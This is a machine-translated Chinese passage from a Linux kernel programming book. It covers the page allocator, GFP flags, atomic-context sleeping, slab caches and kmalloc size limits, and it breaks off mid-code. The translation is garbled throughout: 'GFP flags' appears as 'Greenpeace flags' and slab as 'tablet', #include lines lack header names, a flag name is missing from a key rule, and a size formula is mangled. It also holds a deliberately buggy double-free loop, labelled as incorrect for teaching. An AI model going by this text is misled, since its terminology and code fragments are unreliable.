-虽然表面上看起来一切都很好,很无辜,但我敦促你再深入一点。只是在表面下,一个巨大的(不愉快!)惊喜可能会等着你:幸福地不知道内核/驱动程序开发人员。我们之前介绍的关于页面分配器的 API(见*表 8.1* )有一个可疑的区别,那就是能够在内部分割——用更简单的话来说,**浪费**——内核内存中非常重要的部分! - -要理解为什么会出现这种情况,您必须至少了解页面分配器算法及其 freelist 数据结构的基础知识。页面分配器的基本工作原理章节*介绍了这一点(以防你还没有阅读,请阅读)。* - -在*的几个场景*部分中,您会看到,当我们对方便的、完美舍入的两页幂进行分配请求时,它进行得非常顺利。然而,当情况并非如此时——假设驱动程序请求 132 KB 的内存——那么我们最终会遇到一个主要问题:内部碎片或浪费非常高。这是一个严重的不利因素,必须加以解决。我们将从两个方面来看。一定要继续读下去! - -#### 确切的页面分配器 API - -意识到缺省页面分配器(或 BSA)内部巨大的浪费潜力,一位来自飞思卡尔半导体的开发人员(见信息框)为内核页面分配器提供了一个补丁,扩展了应用编程接口,增加了几个新的。 - -In the 2.6.27-rc1 series, on 24 July 2008, Timur Tabi submitted a patch to mitigate the page allocator wastage issue. Here's the relevant commit: [https://github.com/torvalds/linux/commit/2be0ffe2b29bd31d3debd0877797892ff2d91f4c](https://github.com/torvalds/linux/commit/2be0ffe2b29bd31d3debd0877797892ff2d91f4c). - -使用这些应用编程接口可以更有效地分配大块(多页)内存**,同时减少浪费**。新的(嗯,它*至少是 2008 年的*新版本)分配和释放内存的 API 对如下: - -```sh -#include -void *alloc_pages_exact(size_t size, gfp_t gfp_mask); -void free_pages_exact(void *virt, size_t size); -``` - -`alloc_pages_exact()` API 的第一个参数`size`以字节为单位,第二个参数是前面讨论的“通常”GFP 标志值(在*处理 GFP 标志*部分中);`GFP_KERNEL`用于可能睡眠过程上下文情况,而`GFP_ATOMIC`用于从不睡眠中断或原子上下文情况)。 - -请注意,这个应用编程接口分配的内存仍然保证物理上是连续的。另外,一次可分配的金额(一次函数调用)受`MAX_ORDER`限制;事实上,到目前为止,我们看到的所有其他常规页面分配 API 都是如此。我们将在接下来的章节*中详细讨论 kmalloc API 的大小限制。*在这里,你会意识到讨论实际上不仅限于 slab 缓存,还包括页面分配器! - -`free_pages_exact()`应用编程接口只能用于释放其对应的`alloc_pages_exact()`分配的内存。另外,请注意,“free”例程的第一个参数当然是匹配的“alloc”例程返回的值(指向新分配的内存块的指针)。 - -`alloc_pages_exact()`的实现简单而巧妙:它首先通过`__get_free_pages()` API“照常”分配请求的整个内存块。然后,它循环——从要使用的内存末尾到实际分配的内存量(通常要大得多)——释放那些不必要的内存页面!因此,在我们的例子中,如果您通过`alloc_pages_exact()`应用编程接口分配 132 千字节,它实际上会首先通过`__get_free_pages()`在内部分配 256 千字节,但随后会将内存从 132 千字节释放到 256 千字节! - -开源之美的另一个例子!使用这些 API 的演示可以在这里找到:`ch8/page_exact_loop`;我们将把它留给你去试用。 - -在开始本节之前,我们提到有两种方法可以解决页面分配器的浪费问题。一种是通过使用更高效的`alloc_pages_exact()`和`free_pages_exact()`API,正如我们刚刚学到的;另一种是通过使用不同的层来分配内存——T2 板分配器。我们将很快覆盖它;在那之前,坚持住。接下来,让我们覆盖更多,对理解至关重要的*,关于(典型的)GFP 标志的细节,以及你,内核模块或驱动作者,应该如何使用它们。* - -## 绿色和平组织的旗帜——深入挖掘 - -关于我们对低级页面分配器 API 的讨论,每个函数的第一个参数是所谓的 GFP 掩码。在讨论 API 及其用法时,我们提到了一个*关键规则*。 - -如果在*进程上下文中并且可以安全睡眠,*使用`GFP_KERNEL`标志。如果让*睡眠是*不安全的(通常,当处于任何类型的中断上下文中或持有某些类型的锁时),您*必须使用*标志。** - - *我们将在接下来的章节中详细阐述这一点。 - -### 永远不要在中断或原子环境中睡觉 - -*安全入睡*这句话到底是什么意思?要回答这个问题,请考虑阻塞调用(APIs): 一个*阻塞调用*是一个调用进程(或线程)因为正在等待某个东西而进入睡眠状态的调用,一个*事件*,它正在等待的事件还没有发生。因此,它等待着——它“睡觉”。当它正在等待的事件在未来某个时间点发生或到达时,它会被内核唤醒并继续前进。 - -用户空间阻塞应用编程接口的一个例子包括`sleep(3)`。这里,它正在等待的事件是经过了一定的时间。另一个例子是`read(2)`及其变体,其中等待的事件是存储或网络数据变得可用。使用`wait4(2)`,等待的事件是子进程的死亡或停止/继续,等等。 - -因此,任何可能阻塞的函数最终都会花一些时间休眠(在休眠时,它肯定不在 CPU 运行队列中,而是在等待队列中)。在内核模式下调用这个*可能会阻塞*功能(当然,这是我们处理内核模块时的模式)只有在进程上下文中才允许*。* **在睡眠不安全的上下文中调用任何类型的阻塞调用都是一个错误,例如中断或原子上下文** *。*把这当成金科玉律。这也被称为在原子环境中睡觉——这是错误的,有问题的,而且它必须*永远不会*发生。 - -You might wonder, *how can I know in advance if my code will ever enter an atomic or interrupt context*? In one way, the kernel helps us out: when configuring the kernel (recall `make menuconfig` from [Chapter 2](02.html), *Building the 5.x Linux Kernel from Source - Part 1*), under the `Kernel Hacking / Lock Debugging` menu, there is a Boolean tunable called `"Sleep inside atomic section checking"`. Turn it on! (The config option is named `CONFIG_DEBUG_ATOMIC_SLEEP`; you can always grep your kernel config file for it. Again, in [Chapter 5](05.html), *Writing Your First Kernel Module - LKMs Part 2*, under the Configuring a "debug" kernel section, this is something you should definitely turn on.) - -另一种看待这种情况的方式是你到底是怎么把一个流程或者线程给睡了?简单来说,就是让它调用调度代码——函数`schedule()`。因此,根据我们刚刚学到的东西(作为推论),`schedule()`只能在睡眠安全的环境中调用;进程上下文通常是安全的,中断上下文从来不是。 - -这一点真的很重要要牢记!(我们在[第 4 章](04.html)、*编写您的第一个内核模块–LKMs 第 1 部分*、*进程和中断上下文*部分*、*中简要介绍了什么是进程和中断上下文,以及开发人员如何使用`in_task()`宏来确定代码当前是在进程还是中断上下文中运行。)同样,可以使用`in_atomic()`宏;如果代码是一个*原子上下文*——它通常必须不间断地运行到完成——它返回`True`;否则,`False`。您可以处于进程上下文中,但同时又是原子的——例如,当持有某些类型的锁(自旋锁;我们当然会在后面关于*同步*的章节中对此进行介绍;相反的情况不会发生。 - -除了我们关注的 GFP 标志之外,内核还有其他几个内部使用的`[__]GFP_*`标志;几个是为了明确的回收内存*。*包括(但不限于)`__GFP_IO`、`__GFP_FS`、`__GFP_DIRECT_RECLAIM`、`__GFP_KSWAPD_RECLAIM`、`__GFP_RECLAIM`、`__GFP_NORETRY`等。在这本书里,我们不打算深究这些细节。请参考`include/linux/gfp.h`中描述它们的详细注释(另请参见*进一步阅读*部分)。 - -**Linux Driver Verification** (**LDV**) project: back in [Chapter 1](01.html), *Kernel Workspace Setup*, we mentioned that this project has useful "rules" with respect to various programming aspects of Linux modules (drivers, mostly) as well as the core kernel. - -With regard to our current topic, here's one of the rules, a negative one, implying that you *cannot* do this: *Not disabling IO during memory allocation while holding a USB device lock* ([http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0077](http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0077)). Some quick background: when you specify the `GFP_KERNEL` flag, it implicitly means (among other things) that the kernel can start an IO (Input/Output; reads/writes) operation to reclaim memory. The trouble is, at times this can be problematic and should not be done; to get over this, you're expected use the `GFP_NOIO` flag as part of the GFP bitmask when allocating kernel memory. - -That's precisely the case that this LDV 'rule' is referring to: here, between the `usb_lock_device()` and `usb_unlock_device()` APIs, the `GFP_KERNEL` flag shouldn't be used and the `GFP_NOIO` flag should be used instead. (You can see several instances of this flag being used in this code: `drivers/usb/core/message.c`). The LDV page mentions the fact that a couple of USB-related code driver code source files were fixed to adhere to this rule. - -好了,现在您已经掌握了页面分配器的大量细节(毕竟,它是内存(de)分配的内部“引擎”!),它的 API,以及如何使用它们,让我们继续讨论一个非常重要的话题 slab 分配器背后的动机,它的 API,以及如何使用它们。 - -# 理解和使用内核板分配器 - -如本章第一节*介绍内核内存分配器时所见,**片层分配器*或*片层缓存*位于页面分配器(或 BSA 返回参考*图 8.1* 。平板分配器用两个主要的想法或目的来证明它的存在: - -* **对象缓存**:这里作为常用“对象”的缓存,以及 Linux 内核内频繁分配的数据结构的分配(以及后续的释放),以获得高性能。 - -* 通过提供小的、方便大小的高速缓存,通常是页面的**片段**,减少页面分配器的高浪费(内部碎片)。 - -现在让我们以更详细的方式来检查这些想法。 - -## 对象缓存的想法 - -好的,我们从第一个设计思想开始——公共对象缓存的概念。很久以前,SunOS 开发人员杰夫·邦威克注意到,某些内核对象——通常是数据结构——在操作系统中经常被分配和释放。因此,他有了在缓存中预先分配它们的想法。这就演变成了我们所说的*平板缓存*。 - -因此,在 Linux 操作系统上,内核(作为启动时初始化的一部分)将相当大量的对象预分配到几个平板缓存中。原因:性能!当核心内核代码(或设备驱动程序)需要这些对象之一的内存时,它会直接请求 slab 分配器。如果缓存,分配几乎是立即的(反之亦然)。你可能会想,*这一切真的有必要吗*?的确如此! - -需要高性能的一个很好的例子是网络和块 IO 子系统的关键代码路径。正是因为这个原因,几个网络和块 IO 数据结构(网络堆栈的套接字缓冲区、`sk_buff`、块层的`biovec`,当然还有核心`task_struct`数据结构或对象,就是几个很好的例子)是由内核在片缓存内自动缓存的*(*预分配的*)。类似地,文件系统元数据结构(如`inode`和`dentry`结构等)、内存描述符(`struct mm_struct`)以及更多的内存描述符都是*预先分配给片缓存的*。我们能看到这些缓存的对象吗?是的,再往下一点,我们将精确地做到这一点(通过`/proc/slabinfo`)。* - - *slab(或者现在更正确的说法是 SLUB)分配器性能优越的另一个原因是,传统的基于堆的分配器往往会分配和释放内存,从而产生“漏洞”(碎片)。因为 slab 对象被分配一次(在启动时)到缓存中,并在那里释放(因此没有真正“释放”出来),所以性能仍然很高。当然,现代内核具有智能,可以在内存压力过大时,以优雅的方式开始释放平板缓存。 - -平板缓存的当前状态——对象缓存、缓存中的对象数量、使用中的数量、每个对象的大小等等——可以通过几种方式查看:通过`proc`和`sysfs`文件系统的原始视图,或者通过各种前端实用程序(如`slabtop(1)`、`vmstat(8)`和`slabinfo`)的更易于阅读的视图。在下面的代码片段中,在运行 Ubuntu 18.04 LTS 的本机 x86_64(内存为 16 GB)上,我们查看了`/proc/slabinfo`的前 10 行输出: - -```sh -$ sudo head /proc/slabinfo -slabinfo - version: 2.1 -# name : tunables : slabdata -lttng_event 0 0 280 29 2 : tunables 0 0 0 : slabdata 0 0 0 -kvm_async_pf 0 0 136 30 1 : tunables 0 0 0 : slabdata 0 0 0 -kvm_vcpu 0 0 24576 1 8 : tunables 0 0 0 : slabdata 0 0 0 -kvm_mmu_page_header 0 0 168 24 1 : tunables 0 0 0 : slabdata 0 0 0 -pte_list_desc 0 0 32 128 1 : tunables 0 0 0 : slabdata 0 0 0 -i915_request 112 112 576 28 4 : tunables 0 0 0 : slabdata 4 4 0 -ext4_groupinfo_4k 6482 6496 144 28 1 : tunables 0 0 0 : slabdata 232 232 0 -scsi_sense_cache 325 416 128 32 1 : tunables 0 0 0 : slabdata 13 13 0 -``` - -需要注意的几点: - -* 即使读取`/proc/slabinfo`也需要根访问(因此,我们使用`sudo(8)`)。 -* 在前面的输出中,最左边的列是板缓存的名称。它经常(但不总是)匹配它缓存的内核中实际数据结构的名称。 -* 接下来,对于每个缓存,信息采用以下格式:` : : `。标题行中显示的每个字段的含义在`slabinfo(5)`的手册页中有所解释(使用`man 5 slabinfo`查找)。 - -顺便说一下,`slabinfo`实用程序是用户空间代码*的一个例子,它位于`tools/`目录下的*内核源代码树中(其他几个也是)。它显示一组板层统计数据(使用`-X`开关试试)。要构建它,请执行以下操作: - -```sh -cd /tools/vm -make slabinfo -``` - -此时你可能会有一个问题,*平板缓存目前总共使用了多少内存*?这很容易通过在`Slab:`条目中输入`/proc/meminfo`来回答,如下所示: - -```sh -$ grep "^Slab:" /proc/meminfo -Slab: 1580772 kB -``` - -显而易见,平板缓存可以使用大量内存!事实上,这是 Linux 上的一个常见特性,让那些对它不熟悉的人感到困惑:内核可以并将使用内存来实现缓存目的,从而大大提高性能。当然,它旨在随着内存压力的增加,智能地减少用于缓存的内存量。在常规的 Linux 系统上,很大一部分内存可以用于缓存(尤其是*页面缓存;*它用于在对文件执行输入输出时缓存文件内容。这样也好,*只要* *记忆压力低*即可。`free(1)`实用程序清楚地显示了这一点(同样,在我的 x86_64 Ubuntu 盒子上,在这个例子中有 16 GB 的内存): - -```sh -$ free -h - total used free shared buff/cache available -Mem: 15Gi 5.5Gi 1.4Gi 704Mi 8.6Gi 9.0Gi -Swap: 7.6Gi 0B 7.6Gi -$ -``` - -`buff/cache`列表示 Linux 内核使用的两个缓存——缓冲区和页面缓存。实际上,在内核使用的各种缓存中,*页面缓存*是一个关键的缓存,通常占内存使用的大部分。 - -Look up `/proc/meminfo` for fine-granularity detail on system memory usage; the fields displayed are numerous. The man page on `proc(5)` describes them under the `/proc/meminfo` section. - -现在您已经理解了 slab 分配器背后的动机(关于这一点还有更多),让我们深入学习如何使用它为核心内核和模块作者公开的 API。 - -## 学习如何使用平板分配器 API - -您可能已经注意到,到目前为止,我们还没有解释 slab 分配器(缓存)背后的第二个“设计思想”,即*通过提供小的、大小方便的缓存,通常是页面的片段*,来减轻页面分配器的高浪费(内部碎片)。我们将通过一种实用的方式来看看这到底意味着什么,以及内核板分配器 API。 - -### 分配平板内存 - -尽管在 slab 层中存在几个执行内存分配和释放的 API,但是只有几个真正关键的 API,其余的都属于“便利或助手”功能类别(我们当然会在后面提到)。内核模块或设备驱动程序作者的关键层分配 API 如下: - -```sh -#include -void *kmalloc(size_t size, gfp_t flags); -void *kzalloc(size_t size, gfp_t flags); -``` - -使用任何平板分配器 API 时,请确保包含``头文件。 - -`kmalloc()`和`kzalloc()`例程往往是内核内存分配中最常用的**应用编程接口。一个快速的检查——我们的目标不是非常精确——在 5.4.0 Linux 内核源代码树上非常有用的`cscope(1)`代码浏览工具揭示了(近似的)使用频率:`kmalloc()`被调用了大约 4600 次,`kzalloc()`被调用了超过 11000 次!** - -这两个函数都有两个参数:第一个要传递的参数是所需内存分配的大小(以字节为单位),而第二个参数是要分配的内存类型,通过现在熟悉的 GFP 标志来指定(我们在前面的章节中已经讨论过这个主题,即*处理* *GFP 标志*和*GFP 标志-深入挖掘。*如果你对它们不熟悉,我建议你先看看那些章节)。 - -成功分配后,返回值是一个指针,*内核逻辑地址*(记住,它仍然是一个虚拟地址,*而不是刚刚分配的内存块(或板)开始的*物理地址)。事实上,您应该注意到,除了第二个参数之外,`kmalloc()`和`kzalloc()`API 非常类似于它们的用户空间对应物,非常熟悉的 glibc `malloc(3)`(和朋友)API。不过,不要误会:它们完全不同。`malloc()`返回用户空间虚拟地址,如前所述,用户模式`malloc(3)`和内核模式`k[m|z]alloc()`之间没有直接关联(因此,否,对`malloc()`的调用不会导致对的立即调用;稍后详细介绍!). - -接下来,重要的是要理解,这些 slab 分配器 API**返回的内存保证是物理上连续的** *。*此外,还有另一个关键好处,返回地址保证在 CPU 缓存线边界上;也就是说,它将与**纪念印对齐**。这两个都是重要的性能提升优势。 - -Every CPU reads and writes data (from and to CPU caches <-> RAM) in an atomic unit called the **CPU cacheline***.* The size of the cacheline varies with the CPU. You can look this up with the `getconf(1)` utility – for example, try doing `getconf -a|grep LINESIZE`. On modern CPUs, the cachelines for instructions and data are often separated out (as are the CPU caches themselves). A typical CPU cacheline size is 64 bytes. - -由`kmalloc()`分配后的内存块的内容是随机的(同样,像`malloc(3)`)。事实上,`kzalloc()`之所以是首选和推荐使用的应用编程接口,是因为它将分配的内存设置为零。一些开发人员认为内存板的初始化需要一些时间,从而降低了性能。我们的反论点是,除非内存分配代码处于一个极其时间关键的代码路径中(你可以合理地认为,这首先不是一个好的设计,但有时是没办法的),否则作为最佳实践,你应该在分配时*初始化你的内存*。由此可以避免大量的内存错误和安全副作用。 - -Many parts of the Linux kernel core code certainly use the slab layer for memory. Within these, there *are* timecritical code paths – good examples can be found within the network and block IO subsystems. For maximizing performance, the slab (actually SLUB) layer code has been written to be *lo*ckless (via a lock-free technology called per-CPU variables). See more on the performance challenges and implementation details in the *Further reading* section. - -### 释放平板内存 - -当然,您必须释放您在未来某个时间点分配的已分配平板内存(因此不会泄漏内存);`kfree()`例程服务于此目的。类似于用户空间`free(3)`应用编程接口,`kfree()`使用一个参数——指向要释放的内存块的指针。它必须是一个有效的内核逻辑(或虚拟)地址,并且必须已经由其中一个 slab 层 API(`k[m|z]alloc()`或其助手之一)的返回值初始化。它的 API 签名很简单: - -```sh -void kfree(const void *); -``` - -就像`free(3)`一样,没有返回值。如前所述,注意确保`kfree()`的参数是`k[m|z]alloc()`返回的精确值。传递不正确的值将导致内存损坏,最终导致系统不稳定。 - -还有几点需要注意。 - -假设我们已经用`kzalloc()`分配了一些平板内存: - -```sh -static char *kptr = kzalloc(1024, GFP_KERNEL); -``` - -稍后,在使用之后,我们希望释放它,因此我们执行以下操作: - -```sh -if (kptr) - kfree(kptr); -``` - -该代码–在释放前检查`kptr`的值不是`NULL`–*是不必要的*;只要表演`kfree(kptr);`就完成了。 - -*不正确的*码(伪码)的另一个例子如下所示: - -```sh -static char *kptr = NULL; - while () { - if (!kptr) - kptr = kmalloc(num, GFP_KERNEL); - [... work on the slab memory ...] - kfree(kptr); - } -``` - -有趣:这里,从第二次循环迭代开始,程序员已经*假设*释放后`kptr`指针变量将被设置为`NULL`!事实绝对不是这样(尽管这是一个很好的语义;同样,同样的论点也适用于“通常的”用户空间库 API)。因此,我们遇到了一个危险的错误:在循环的第二次迭代中,`if`条件很可能被证明是错误的,从而跳过分配。然后,我们点击`kfree()`,这当然会破坏内存(由于双自由错误)!(我们在 LKM 提供了这个案例的演示:`ch8/slab2_buggy`)。 - -关于*在分配之后(或期间)初始化*内存缓冲区,正如我们提到的分配一样,释放内存也是如此。您应该意识到`kfree()` API 只是将刚刚释放的 slab 返回到其对应的缓存中,让内部内存内容保持原样!因此,就在释放你的内存块之前,一个(稍微有点迂腐的)最佳实践是*清除(覆盖)*内存内容。出于安全原因,尤其如此(例如在“信息泄露”的情况下,恶意攻击者可能会扫描释放的内存以寻找“秘密”)。Linux 内核为此提供了`kzfree()`应用编程接口(签名与`kfree()`相同)。 - -*Careful!* In order to overwrite "secrets," a simple `memset()` of the target buffer might just not work. Why not? The compiler might well optimize away the code (as the buffer is no longer to be used). David Wheeler, in his excellent work *Secure Programming HOWTO* ([https://dwheeler.com/secure-programs/](https://dwheeler.com/secure-programs/)), mentions this very fact and provides a solution: "One approach that seems to work on all platforms is to write your own implementation of memset with internal "volatilization" of the first argument." (This code is based on a workaround proposed by Michael Howard): - -`void *guaranteed_memset(void *v,int c,size_t n)` -`{ volatile char *p=v; while (n--) *p++=c; return v; }` - -"Then place this definition into an external file to force the function to be external (define the function in a corresponding `.h` file, and `#include` the file in the callers, as is usual). This approach appears to be safe at any optimization level (even if the function gets inlined)." - -The kernel's `kzfree()` API should work just fine. Take care when doing similar stuff in user space. - -### 数据结构–一些设计技巧 - -强烈建议在内核空间中使用 slab APIs 进行内存分配。首先,它保证了物理上的连续以及缓存行对齐的内存。这对性能非常好;此外,让我们来看看一些可以带来高额回报的快速技巧。 - -*CPU 缓存*可以提供巨大的性能提升。因此,特别是对于时间关键的代码,要注意设计数据结构以获得最佳性能: - -* 将最重要的(经常访问的,“热门”)成员放在一起,并放在结构的顶部。要了解原因,假设在您的数据结构中有五个重要成员(总大小为 56 字节);将它们放在一起,放在结构的顶部。假设 CPU 缓存行大小为 64 字节。现在,当您的代码访问这五个重要成员中的任何一个时,所有五个成员都将被提取到中央处理器高速缓存中,因为中央处理器的内存读/写工作在中央处理器高速缓存行大小的原子单元中;这优化了性能(因为使用高速缓存通常比使用内存快几倍)。 -* 尝试对齐结构成员,以使单个成员不会“从缓存线中脱落”。通常,编译器在这方面有所帮助,但是您甚至可以使用编译器属性来明确指定这一点。 -* 由于有效的 CPU 缓存,按顺序访问内存可以获得高性能。但是,我们不能把所有的数据结构都做成数组!有经验的设计师和开发人员都知道,使用链表是极其常见的。但这难道不会影响表演吗?嗯,是的,在某种程度上。因此,建议:使用链表。将列表的“节点”保持为一个大的数据结构(在顶部有“热”成员并在一起)。这样,我们尝试最大化这两种情况的最佳效果,因为大结构本质上是一个数组。(想想看,我们在[第 6 章](06.html)、*内核内部要素–进程和线程*、–T4】任务列表–中看到的任务结构列表是一个以大数据结构作为节点的链表的完美现实例子)。 - -下一节将讨论一个关键方面:我们通过流行的`k[m|z]alloc()`API 了解内核在分配(slab)内存时使用的确切 slab 缓存。 - -### kmalloc 使用的实际板缓存 - -在尝试使用基本的 slab APIs 开发内核模块之前,我们将进行一个快速的偏离——尽管这非常重要。了解`k[m|z]alloc()`API 分配的内存具体来自哪里非常重要。嗯,是从石板仓库来的,是的,但是具体是哪几个?对`sudo vmstat -m`输出的快速`grep`为我们揭示了这一点(下面的截图在我们的 x86_64 Ubuntu 客户机上): - -![](img/1eccca8f-655a-47c6-9f68-a2e8b882db2f.png) - -Figure 8.7 – Screenshot of sudo vmstat -m showing the kmalloc-n slab caches - -那很有趣!内核有一系列专用的平板缓存,用于不同大小的通用`kmalloc`内存,*从 8,192 字节到仅仅 8 字节不等!*这告诉我们一些事情——使用页面分配器,如果我们请求 12 字节的内存,它最终会给我们一整页(4kb)——浪费太多了。这里,使用 slab 分配器,一个 12 字节的分配请求最终实际上只分配了 16 字节(从图 8.8 中看到的倒数第二个缓存)!太棒了。 - -另外,请注意以下几点: - -* 在`kfree()`时,内存被释放回适当的平板缓存。 -* `kmalloc`平板缓存的精确大小因架构而异。在我们的树莓皮系统(当然是 ARM 中央处理器)上,通用内存`kmalloc-N`缓存从 64 字节到 8192 字节不等。 -* 前面的截图也揭示了一个线索。通常,需求是对小到微小的内存碎片的需求。例如,在前面的截图中,标记为`Num`的列表示当前活动对象的*数量*,最大数量来自 8 字节和 16 字节的`kmalloc`平板缓存(当然,这可能不总是这样。快速提示:使用`slabtop(1)`实用程序(您需要以 root 用户身份运行):顶部的行显示了当前常用的平板缓存。) - -当然,Linux 一直在发展。从 5.0 主线内核开始,新引入了`kmalloc`缓存类型,称为可回收缓存(命名格式为`kmalloc-rcl-N`)。因此,在 5.x 内核上执行 grep 也会显示这些缓存: - -```sh -$ sudo vmstat -m | grep --color=auto "^kmalloc" -kmalloc-rcl-8k 0 0 8192 4 -kmalloc-rcl-4k 0 0 4096 8 -kmalloc-rcl-2k 0 0 2048 16 -[...] -kmalloc-8k 52 52 8192 4 -kmalloc-4k 99 120 4096 8 -kmalloc-2k 521 560 2048 16 -[...] -``` - -新的`kmalloc-rcl-N`缓存有助于提高内部效率(在压力下回收页面,并作为一种反碎片措施)。然而,像您这样的模块作者不需要关心这些细节。(本作品的提交可在此查看:[https://github . com/Torvalds/Linux/commit/1291523 f2c1 d 631 FEA 34102 FD 241 FB 54 a4e 8 f7a 0](https://github.com/torvalds/linux/commit/1291523f2c1d631fea34102fd241fb54a4e8f7a0)。) - -`vmstat -m` is essentially a wrapper over the kernel's `/sys/kernel/slab` content (more on this follows). Deep internal details of the slab caches can be seen using utilities such as `slabtop(1)`, as well as the powerful `crash(1)` utility (on a "live" system, the relevant crash command is `kmem -s` (or `kmem -S`)). - -没错。又到了用一些代码来演示 slab 分配器 API 的用法的时候了! - -### 编写内核模块来使用基本的平板应用编程接口 - -在下面的代码片段中,看一下演示内核模块代码(位于`ch8/slab1/`)。在`init`代码中,我们只执行几个平板层分配(通过`kmalloc()`和`kzalloc()` APIs),打印一些信息,并释放清理代码路径中的缓冲区(当然,完整的源代码可以在本书的 GitHub 存储库中访问)。让我们一步一步来看代码的相关部分。 - -在这个内核模块的`init`代码的开始,我们通过分配 1,024 字节给全局指针(`gkptr`)来初始化它(*记住:指针没有内存!*)通过`kmalloc()`板坯分配应用编程接口。请注意,由于我们肯定在流程上下文中运行,因此“睡眠安全”,我们使用`GFP_KERNEL`标志作为第二个参数(以防您想回头参考前面的部分,*GFP 标志–深入研究*,它是否涵盖了): - -```sh -// ch8/slab1/slab1.c -[...] -#include -[...] -static char *gkptr; -struct myctx { - u32 iarr[100]; - u64 uarr[100]; - char uname[128], passwd[16], config[16]; -}; -static struct myctx *ctx; - -static int __init slab1_init(void) -{ - /* 1\. Allocate slab memory for 1 KB using the kmalloc() */ - gkptr = kmalloc(1024, GFP_KERNEL); - if (!gkptr) { - WARN_ONCE(1, "%s: kmalloc() failed!\n", OURMODNAME); - /* As mentioned earlier, there is really no need to print an - * error msg when a memory alloc fails; the situation "shouldn't" - * typically occur, and if it does, the kernel will emit a chain - * of messages in any case. Here, we use the WARN_ONCE() - * macro pedantically, and as this is a 'learning' program.. */ - goto out_fail1; - } - pr_info("kmalloc() succeeds, (actual KVA) ret value = %px\n", gkptr); - /* We use the %px format specifier here to show the actual KVA; in production, Don't! */ - print_hex_dump_bytes("gkptr before memset: ", DUMP_PREFIX_OFFSET, gkptr, 32); - memset(gkptr, 'm', 1024); - print_hex_dump_bytes(" gkptr after memset: ", DUMP_PREFIX_OFFSET, gkptr, 32); -``` - -在前面的代码中,还注意到我们使用`print_hex_dump_bytes()`内核便利例程作为以人类可读格式转储缓冲存储器的便利方式。它的签名是: - -```sh -void print_hex_dump_bytes(const char *prefix_str, int prefix_type, - const void *buf, size_t len); -``` - -其中`prefix_str`是您希望在十六进制转储的每一行前加前缀的任何字符串;`prefix_type`为`DUMP_PREFIX_OFFSET`、`DUMP_PREFIX_ADDRESS`或`DUMP_PREFIX_NONE`之一,`buf`为十六进制转储的源缓冲区;而`len`是要转储的字节数。 - -接下来是许多设备驱动程序遵循的典型策略(*最佳实践*:它们将所有必需的或上下文信息保存在单个数据结构中,通常称为*驱动程序上下文*结构。我们通过声明一个名为`myctx`的(愚蠢的/示例)数据结构以及一个名为`ctx`的指向它的全局指针(结构和指针定义在前面的代码块中)来模拟这一点: - -```sh - /* 2\. Allocate memory for and initialize our 'context' structure */ - ctx = kzalloc(sizeof(struct myctx), GFP_KERNEL); - if (!ctx) - goto out_fail2; - pr_info("%s: context struct alloc'ed and initialized (actual KVA ret = %px)\n", - OURMODNAME, ctx); - print_hex_dump_bytes("ctx: ", DUMP_PREFIX_OFFSET, ctx, 32); - - return 0; /* success */ -out_fail2: - kfree(gkptr); -out_fail1: - return -ENOMEM; -} -``` - -在数据结构之后,我们通过有用的`kzalloc()`包装应用编程接口将`ctx`分配并初始化为`myctx`数据结构的大小。随后的 *hexdump* 将显示它确实被初始化为全零(为了可读性,我们将只“转储”前 32 个字节)。 - -请注意我们如何使用`goto`处理错误路径;这在本书前面已经提到过几次了,所以我们在这里就不重复了。最后,在内核模块的清理代码中,我们`kfree()`两个缓冲区,防止任何内存泄漏: - -```sh -static void __exit slab1_exit(void) -{ - kfree(ctx); - kfree(gkptr); - pr_info("%s: freed slab memory, removed\n", OURMODNAME); -} -``` - -下面是在我的树莓 Pi 4 上运行的一个示例的截图。我使用我们的`../../lkm`便利脚本来构建、加载和执行`dmesg`: - -![](img/434f0e51-a09f-49dd-8d32-823e1ca41dc0.png) - -Figure 8.8 – Partial screenshot of our slab1.ko kernel module in action on a Raspberry Pi 4 - -好了,现在您已经掌握了使用公共 slab 分配器 API、`kmalloc(), kzalloc()`和`kfree()`的基础知识,让我们更进一步。在下一节中,我们将深入探讨一个真正关键的问题——内存大小受限的现实,您可以通过平板(和页面)分配器获得内存。继续读! - -# kmalloc 应用编程接口的大小限制 - -页分配器和片分配器的一个主要优点是,它们在分配时提供的内存块不仅是虚拟连续的(显然),而且保证是*物理连续的内存*。现在这是一件大事,肯定会有助于表现。 - -但是(总有*但是*,不是吗!),正是由于这种保证,在执行分配时,不可能提供任何给定的大尺寸。换句话说,通过对我们亲爱的`k[m|z]alloc()`API 的一次调用,您可以从 slab 分配器获得的内存量是有明确限制的。上限是多少?(这确实是一个非常常见的问题。) - -首先,你应该明白,从技术上来说,极限是由两个因素决定的: - -* 一、系统页面大小(由`PAGE_SIZE`宏决定) -* 二、“订单”数量(由`MAX_ORDER`宏决定);也就是页面分配器(或 BSA)自由列表数据结构中的列表数量(见图 8.2) - -在标准 4 KB 页面大小和 MAX_ORDER 值为 11 的情况下,单次`kmalloc()`或`kzalloc()` API 调用可以分配的最大内存量为 4 MB。x86_64 和 ARM 架构都是这种情况。 - -你可能会想,*这个 4 MB 的限制到底是怎么达到*的?想想看:一旦一个 slab 分配请求超过了内核提供的最大 slab 缓存大小(通常为 8 KB),内核只需将请求向下传递给页面分配器。页面分配器的最大可分配大小由`MAX_ORDER`决定。设置为`11`时,最大可分配缓冲区大小为*2(MAX _ ORDER-1)=***210页数= 1024 页= 1024 * 4K = 4 MB* !* - - *## 测试极限–通过一次调用分配内存 - -对于开发人员(以及其他所有人)来说,一个真正关键的事情是在你的工作中**成为经验性的**!英语单词*experimental*的意思是基于所经历或看到的,而不是基于理论。这是一条必须始终遵循的关键规则——不要简单地假设事情,也不要只看表面。你自己试试看吧。 - -让我们做一些非常有趣的事情:编写一个内核模块,从(通用的)平板缓存中分配内存(当然是通过`kmalloc()` API)。我们将在循环中这样做,在每次循环迭代中分配并释放(计算的)数量。这里的关键点是,我们将按照给定的“步长”不断增加分配的数量。当`kmalloc()`失败时,循环终止;通过这种方式,我们可以测试通过对`kmalloc()`的一次调用,我们实际上可以分配多少内存(当然,你会意识到`kzalloc()`,作为`kmalloc()`的简单包装器,面临着完全相同的限制)。 - -在下面的代码片段中,我们展示了相关的代码。从内核模块的`init`代码中调用`test_maxallocsz()`函数: - -```sh -// ch8/slab3_maxsize/slab3_maxsize.c -[...] -static int stepsz = 200000; -module_param(stepsz, int, 0644); -MODULE_PARM_DESC(stepsz, -"Amount to increase allocation by on each loop iteration (default=200000"); - -static int test_maxallocsz(void) -{ - size_t size2alloc = 0; - void *p; - - while (1) { - p = 